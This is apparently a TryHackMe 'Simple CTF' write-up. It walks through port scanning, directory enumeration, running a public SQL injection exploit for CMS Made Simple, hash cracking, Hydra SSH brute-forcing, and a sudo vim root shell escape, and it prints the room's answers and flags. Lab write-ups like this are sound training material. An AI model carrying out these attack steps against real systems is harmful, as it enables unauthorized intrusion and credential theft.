July 17, 2026
THM Simple CTF
Hello everyone!

By Zeliha Zengin
15 min read
Today, I will share my write-up for the TryHackMe Simple CTF room. In this challenge, we will practice the basics of penetration testing, including reconnaissance, enumeration, vulnerability discovery, exploitation, and gaining access to the target machine.
Let's begin the journey!
Learning Objectives
What You Will Learn in This Room
This room covers a structured penetration testing methodology. By following along with this write-up, you will learn how to:
- Active Reconnaissance: Identify open ports, active services, and map out the target's attack surface.
- Web Enumeration: Discover hidden directories, files, and leak sensitive information (usernames, credentials, and software versions).
- Brute-Forcing with Hydra: Conduct a targeted SSH password brute-force attack to obtain valid credentials.
- Initial Access: Establish a secure shell (SSH) session using discovered credentials.
- Exploitation: Leverage a custom Python 3 exploit script to target a vulnerable application and achieve Remote Code Execution (RCE).
- Privilege Escalation: Elevate privileges from a low-level user to
root. - Flag Capturing: Locate and retrieve both the
user.txtandroot.txtflags.
nmap -A -p- -Pn -T4 10.146.172.120 -vvnmap -A -p- -Pn -T4 10.146.172.120 -vvnmap— The industry-standard network scanning tool used to discover open ports, running services, and potential vulnerabilities.-A— Enables aggressive scanning. This is a shortcut that activates OS detection, service version detection, default NSE scripts, and traceroute in one go.-p-— Instructs Nmap to scan all 65,535 TCP ports instead of limiting the scan to the top 1,000 most common ports.-Pn— Skips host discovery (no ping). It treats the target as online, which is essential if the target blocks ICMP ping requests.-T4— Sets a faster timing template (aggressive speed) to accelerate the scan without sacrificing reliability on stable networks.-vv— Enables "very verbose" output, showing discovered ports in real-time as the scan progresses.10.146.172.120— The target IP address.
This scan helps identify open ports, running services, and potential attack vectors that can be investigated during the enumeration phase.
Q1- How many services are running under port 1000? From the Nmap scan results below, we can see that FTP (21/tcp) and HTTP (80/tcp) are open on the target machine.
Answer: 2
Q2- What is running on the higher port? The Nmap scan also reveals that SSH is running on the non-standard port 2222/tcp. Since SSH is not using the default port (22), this is an important finding to note during enumeration. If valid credentials are obtained later in the assessment, this service can be used to establish remote access to the target system.
Answer: ssh 3- What's the CVE you're using against the application?
http://10.146.172.120/http://10.146.172.120/
Directory Enumeration
During the reconnaissance phase, I performed web directory enumeration to discover hidden files and directories that might contain sensitive information or potential attack vectors.
Two commonly used tools for this purpose are Dirb and Gobuster.
Dirb
Dirb is a web content scanner used to discover hidden directories and files on a web server by using a wordlist-based brute-force approach.
Example usage:
dirb http://<target-ip>dirb http://<target-ip>Dirb sends requests to the target web server using a list of common directory names and identifies accessible resources.
Gobuster
Gobuster is another directory and file enumeration tool commonly used during web reconnaissance. It is faster and more flexible, supporting different scanning modes such as directory, DNS, and virtual host enumeration.
Example usage:
gobuster dir -u http://<target-ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtgobuster dir -u http://<target-ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtComparison
- Dirb → Simple and effective for basic web directory discovery.
- Gobuster → Faster and provides more advanced enumeration options.
Both tools help identify hidden resources that may reveal valuable information during a penetration test.
dirb http://10.146.172.120dirb http://10.146.172.120During enumeration, look for interesting paths such as:
/admin /uploads /backup /config /login These locations may reveal sensitive information or additional attack opportunities.
gobuster dir -u http://10.146.172.120 -w /usr/share/wordlists/dirb/common.txtgobuster dir -u http://10.146.172.120 -w /usr/share/wordlists/dirb/common.txt
dirb http://10.146.172.120dirb http://10.146.172.120
dirb http://10.146.172.120/robots.txtdirb http://10.146.172.120/robots.txt
dirb http://10.146.172.120/simpledirb http://10.146.172.120/simple
Scrolling further down the page, we discover the CMS information and identify that the application is running CMS Made Simple version 2.2.8. Identifying the CMS version is an important step during enumeration, as it allows us to check for known vulnerabilities, available exploits, and potential attack vectors associated with this specific version.
Exploit Research
After identifying that the target was running CMS Made Simple 2.2.8, the next step was to research publicly disclosed vulnerabilities associated with this version. Exploit research helps determine whether known weaknesses can be leveraged to gain access or extract sensitive information.
Objective
The goal of this phase was to identify:
- Known vulnerabilities affecting the application
- Publicly available exploits
- Potential attack vectors
- Opportunities for authentication bypass or remote code execution
Research Process
I searched Exploit Database (Exploit-DB) for vulnerabilities related to CMS Made Simple and reviewed the available results.
A known vulnerability affecting CMS Made Simple 2.2.8 was identified:
- CVE-2019–9053 — Unauthenticated SQL Injection
This SQL injection vulnerability allows an unauthenticated attacker to extract sensitive information from the application's database. In the context of this room, it can be leveraged to recover user credentials, which can later be used to gain initial access to the target system.
Select CMS Made Simple < 2.2.10 — SQL Injection
Answer: CVE-2019–9053
2.OPTION: searchsploit cms made simple 2.2.8
We identified the relevant exploit and obtained the EDB-ID: 46635
Identifying the Associated CVE
To gather more information about the exploit, I used SearchSploit to examine the exploit entry and identify its associated CVE.
searchsploit 46635 --examine | grep CVEsearchsploit 46635 --examine | grep CVE
Command Breakdown
searchsploit 46635searches the local Exploit-DB database for the exploit with ID 46635.--examinedisplays the full exploit details, including references and additional metadata.grep CVEfilters the output to display only lines containing CVE identifiers, making it easy to identify the vulnerability associated with the exploit.
The output confirms that this exploit is linked to CVE-2019–9053, an Unauthenticated SQL Injection vulnerability affecting CMS Made Simple 2.2.8. This vulnerability can be exploited to extract sensitive information, such as user credentials, which can then be used to gain initial access to the target system.
Answer: CVE-2019–9053
3.OPTION:
Viewing the Exploit Code
After identifying the relevant exploit, I used SearchSploit to inspect its source code locally.
searchsploit -x 46635searchsploit -x 46635
searchsploitis a command-line utility that allows you to search and interact with the local Exploit-DB database.-x(or--examine) opens the exploit source code in the default pager, allowing you to review the exploit without manually locating the file.46635is the Exploit-DB ID corresponding to the CMS Made Simple 2.2.8 - Unauthenticated SQL Injection (CVE-2019-9053) exploit.
Reviewing the exploit code helps verify how the vulnerability works, understand its prerequisites, and determine whether it is applicable to the target environment before attempting exploitation.
Answer: CVE-2019–9053
4.OPTION:
searchsploit -m 46635.py
ls
cat 46635.pysearchsploit -m 46635.py
ls
cat 46635.py
Copying the Exploit Locally
Once I confirmed that the exploit was applicable, I copied it from the local Exploit-DB database into my working directory for further analysis and execution.
searchsploit -m 46635.pysearchsploit -m 46635.pyCommand Breakdown
searchsploitis the command-line interface for the Exploit-DB database.-m(or--mirror) copies the selected exploit from the local Exploit-DB repository to the current working directory.46635.pyspecifies the Python exploit associated with Exploit-DB ID 46635.
Using the -m option allows you to work with a local copy of the exploit, making it possible to inspect, modify, or execute the script without altering the original files stored in the Exploit-DB database.
Answer: CVE-2019–9053
After reviewing the available entries in Exploit-DB, I identified the exploit targeting CMS Made Simple 2.2.8 and noted its Exploit-DB ID (EDB-ID): 46635.
This exploit corresponds to CVE-2019-9053, an Unauthenticated SQL Injection vulnerability. The exploit will be used in the next phase to verify the vulnerability and extract sensitive information from the target application.
Q4- To what kind of vulnerability is the application vulnerable?
https://www.exploit-db.com/exploits/46635https://www.exploit-db.com/exploits/46635
searchsploit "CMS Made Simple 2.2.8"searchsploit "CMS Made Simple 2.2.8"
Structured query language=sql
injection= iStructured query language=sql
injection= iAnswer: sqli
Downloading the Exploit
Option 1:
Since the exploit is written in Python, I ensured that the required Python environment and dependencies were available before executing the script. After preparing the environment, the exploit was ready to be tested against the target application.
Option 2:
As an alternative to using SearchSploit, the exploit can be downloaded directly from Exploit-DB using wget.
wget https://www.exploit-db.com/exploits/46635wget https://www.exploit-db.com/exploits/46635Command Breakdown
wgetis a command-line utility used to download files from the web.https://www.exploit-db.com/exploits/46635is the URL of the CMS Made Simple 2.2.8 – Unauthenticated SQL Injection (CVE-2019-9053) exploit hosted on Exploit-DB.
Downloading the exploit directly from Exploit-DB provides a local copy that can be reviewed, modified if necessary, and executed during the exploitation phase.
Converting the Exploit to Python 3
Creating a New Exploit Script
The original exploit was written for Python 2, so I converted the script to Python 3 compatibility before using it. To avoid modifying the original exploit file, I created a new Python file and saved the updated version separately.
vim exploit1.pyvim exploit1.py
vimlaunches the Vim text editor.exploit1.pyis the new Python 3-compatible exploit file created for testing.
Keeping the converted exploit in a separate file preserves the original script and allows modifications while maintaining a clean workflow during the exploitation process.
Using a separate file preserves the original exploit while allowing modifications or customizations tailored to the target environment.
Saving and Exiting Vim
After completing the modifications, I saved the changes and exited the Vim editor using the following command:
:wq:wq- : switches Vim into command mode.
wwrites (saves) the changes to the file.qquits the Vim editor.
The :wq command saves the updated exploit script and returns to the terminal.
Alternative Editor: Nano
Another option for editing files is Nano, a simple and beginner-friendly command-line text editor available on Unix-based systems such as Linux and macOS.
Nano provides essential editing features with visible keyboard shortcuts, making it easier for users who are less familiar with Vim.
Example:
nano exploit1.pynano exploit1.pyThis opens the exploit1.py file in Nano, allowing quick modifications before saving and exiting.
Saving and Exiting Nano
After making the necessary changes in the Nano text editor, I saved the file and exited the editor using the following steps:
- Press
CTRL + Oto save (write) the changes. - Press
Enterto confirm the filename. - Press
CTRL + Xto exit Nano.
This process saves the updated file and returns back to the terminal, allowing the script or configuration to be used in the next stage of the attack.
Q5- What's the password?
python3 exploit.py -u http://10.10.23.238/simplepython3 exploit.py -u http://10.10.23.238/simple
python3 exploit.py -u :http://10.10.27.200/simple (Don’t forget to change the IP address)python3 exploit.py -u :http://10.10.27.200/simple (Don’t forget to change the IP address)
Extracting User Credentials
After successfully exploiting the CMS Made Simple 2.2.8 Unauthenticated SQL Injection (CVE-2019–9053) vulnerability, the exploit was able to extract sensitive information from the application's database.
The following user information was retrieved:
Username: mitch
Email: admin@admin.com
Password Hash: 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2
Salt: 1dac0d92e9fa6bb2Username: mitch
Email: admin@admin.com
Password Hash: 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2
Salt: 1dac0d92e9fa6bb2The extracted password value consists of a hash and salt, which indicates that the password is not stored in plaintext. The next step is to crack the hash locally using a password-cracking tool such as John the Ripper to recover the original password.
This recovered credential can then be used for further access to the target system.
SSH Brute-Forcing with Hydra
Having identified a potential username (mitch) during our web enumeration phase, we can now attempt to brute-force the SSH service. Since SSH is running on a non-standard port (2222), we need to specify this in our command.
To execute the attack, we will use Hydra paired with the classic rockyou.txt wordlist.
hydra -l mitch -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://10.146.172.120/simplehydra -l mitch -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://10.146.172.120/simplehydra— A very fast network logon cracker that supports numerous protocols.-l mitch— Specifies the single static username we want to target (mitchwith a lowercasel).-P /usr/share/wordlists/rockyou.txt— Specifies the path to our password wordlist (-Pcapital for file path).-s 2222— Directs Hydra to target port2222instead of the default SSH port22.ssh://10.146.172.120— Defines the target protocol (ssh) and the target machine IP address.
hash-identifierhash-identifierHere is a short and concise English sentence you can use as a quick callout or image caption:
hash-identifier is a quick terminal-based tool used to analyze and identify the specific encryption algorithm (such as MD5 or SHA-1) of a recovered password hash.
https://hashcat.net/wiki/doku.php?id=example_hasheshttps://hashcat.net/wiki/doku.php?id=example_hashes
Cracking the Hash Using Hashcat
After extracting the password hash and salt from the CMS database, I attempted to recover the original password using Hashcat.
The extracted value was:
Hash + Salt = 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2Hash + Salt = 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2I used the following Hashcat command:
hashcat -m 20 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/wordlists/rockyou.txthashcat -m 20 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/wordlists/rockyou.txthashcat→ A powerful password recovery tool used for cracking password hashes.-m 20→ Specifies the hash mode for md5($salt.$pass), which matches the CMS Made Simple password hashing format.0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2→ The extracted password hash combined with its salt./usr/share/wordlists/rockyou.txt→ The wordlist used for the dictionary attack.
Hashcat compares each password candidate from the wordlist against the hash algorithm with the provided salt. Once a match is found, the original plaintext password is revealed.
The recovered password can then be used with the discovered username mitch to authenticate to the target system.
Answer: secret
Q6- Where can you login with the details obtained?
SSH Access with Discovered Credentials
During the initial reconnaissance phase, the Nmap scan revealed that the SSH service was running on a non-standard port. The scan identified port 2222/tcp as open and hosting an SSH service.
After obtaining valid credentials through the previous enumeration and brute-force phases, I attempted to authenticate to the target machine using SSH.
ssh mitch@10.146.172.120 -p 2222ssh mitch@10.146.172.120 -p 2222When prompted, I provided the discovered password:
Password: secretPassword: secretThe authentication was successful, and I gained remote SSH access to the target system as the user mitch.
This initial access allowed me to continue with the next phase of the attack: enumerating the system and identifying privilege escalation opportunities.
Capturing the User Flag
After successfully gaining SSH access as the mitch user, the next step was to locate and capture the user flag.
Step 1: Enumerating the Current Directory
I first checked the contents of the current working directory using the ls command:
lslsOutput:
user.txtuser.txtThe output revealed the presence of the user.txt file, indicating that the user flag was located in the current directory.
Step 2: Locating the User Flag
To confirm the exact location of the file, I used the find command to search the entire filesystem:
find / -name user.txt 2>/dev/nullfind / -name user.txt 2>/dev/nullOutput:
/home/mitch/user.txt/home/mitch/user.txtThe user flag was successfully located in the /home/mitch/ directory.
Step 3: Reading the User Flag
Finally, I used the cat command to display the contents of the file:
cat user.txtcat user.txtThe user flag was successfully captured, completing the first objective of the machine.
Answer: G00d j0b, keep up!
The user flag was successfully captured, completing the first objective of the machine.
With the user flag obtained, the next step was to continue enumerating the system and identify potential privilege escalation paths to gain root access.
Q8- Is there any other user in the home directory? What's its name?
Enumerating User Accounts
After gaining SSH access to the target machine as the mitch user, I began enumerating the system to identify other available user accounts.
Step 1: Checking the Current Directory
First, I verified my current location using the pwd command:
pwdpwdOutput:
/home/mitch/home/mitchThe pwd (Print Working Directory) command displays the full path of the current working directory.
Step 2: Moving to the Parent Directory
I moved one level up in the directory hierarchy using:
cd ..cd ..The cd .. command allows navigation to the parent directory.
I then listed the available directories:
lslsOutput:
mitch
sunbathmitch
sunbathStep 3: Identifying Other Users
To confirm available user directories, I checked the /home directory:
ls /homels /homeOutput:
mitch
sunbathmitch
sunbathThe output revealed two user accounts on the system:
mitchsunbath
The discovery of the sunbath user indicated a potential target for further enumeration and privilege escalation.
Answer: sunbath
Q9- What can you leverage to spawn a privileged shell?
Privilege Escalation Enumeration
After gaining access to the system as the mitch user, the next step was to identify potential privilege escalation opportunities. I used the sudo -l command to check which commands the current user was allowed to execute with elevated privileges.
sudo -lsudo -lOutput:
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vimUser mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vimThe output revealed that the mitch user can execute Vim as the root user without being prompted for a password.
Understanding the Finding
sudo -l→ Lists the commands that the current user is allowed to run withsudoprivileges.(root)→ Indicates that the command will be executed with root-level privileges.NOPASSWD→ Means the user can execute the command without providing a password./usr/bin/vim→ The Vim editor binary that can be executed with root privileges.
Since Vim has the ability to execute system commands, allowing a user to run it as root creates a privilege escalation path. By abusing this misconfiguration, the mitch user can obtain a root shell.
Answer: vim
Q10-What's the root flag?
Privilege Escalation to Root
Q10 — What is the root flag?
After enumerating the sudo permissions of the mitch user, I discovered that Vim could be executed with root privileges without requiring a password.
sudo -lsudo -lOutput:
(root) NOPASSWD: /usr/bin/vim(root) NOPASSWD: /usr/bin/vimThis misconfiguration provides a privilege escalation path because Vim can execute system commands. By running Vim through sudo, it is possible to escape the editor environment and spawn a root shell.
To confirm the exploitation method, I referenced the GTFOBins database, which documents techniques for abusing Unix binaries with elevated privileges.
Reference:
- GTFOBins: https://gtfobins.github.io/
- Vim (sudo): https://gtfobins.github.io/gtfobins/vim/#sudo
Step 1: Exploiting Vim with Sudo
I executed the following command to launch Vim as root and spawn a shell:
sudo vim -c ':!/bin/sh'sudo vim -c ':!/bin/sh'
sudo→ Executes the command with elevated privileges.vim→ The binary allowed to run as root according to the sudo configuration.-c→ Executes a Vim command immediately after opening.:!/bin/sh→ Escapes from Vim and launches a system shell.
After executing the command successfully, I obtained a root shell, completing the privilege escalation phase.
The next step was to access the root directory and capture the final flag.
Step 2: Verifying Root Access
The previous command allowed us to escape from the Vim editor and execute a system shell with elevated privileges.
To verify whether the privilege escalation was successful, I checked the current user using the whoami command:
whoamiwhoamiOutput:
rootrootThe output confirmed that we successfully obtained a root shell on the target machine.
With root-level access achieved, the final step was to navigate to the root directory and retrieve the root flag.
Step 3: Retrieving the Root Flag
After successfully obtaining a root shell, the final objective was to locate and capture the root flag.
I navigated to the root user's home directory:
cd /rootcd /rootThen, I listed the contents of the directory:
lslsOutput:
root.txtroot.txtThe root.txt file was identified as the location of the final flag.
I used the cat command to read the contents of the file:
cat root.txtcat root.txtOutput:
W3ll d0n3. You made it!W3ll d0n3. You made it!The root flag was successfully captured, completing the Simple CTF machine and achieving full system compromise with root privileges.
Answer: W3ll d0n3. You made it!
2. Option:
Alternative Method: Locating the Root Flag
After obtaining root access, another method to locate the root flag is by searching the filesystem using the find command.
I searched for the root.txt file:
find . -name "root.txt"find . -name "root.txt"Output:
find: './run/user/108/gvfs': Permission denied
./root/root.txtfind: './run/user/108/gvfs': Permission denied
./root/root.txtThe command successfully located the root flag at:
/root/root.txt/root/root.txtThe permission denied message for ./run/user/108/gvfs can be ignored, as it is related to a restricted virtual filesystem location and does not affect the search results.
To read the root flag, I used the cat command:
cat ./root/root.txtcat ./root/root.txtAnswer: W3ll d0n3. You made it!
The root flag was successfully captured, completing the privilege escalation process and achieving full system compromise.
Conclusion
The Simple CTF challenge has been successfully completed! 🎉
This room was a great introduction to the penetration testing process, helping us understand how proper enumeration and vulnerability analysis can lead to system compromise.
Thanks for reading my write-up! Feel free to connect with me on LinkedIn for more cybersecurity content and CTF challenges.
🔗 LinkedIn: https://www.linkedin.com/in/zeliha-zengin/
See you in the next CTF!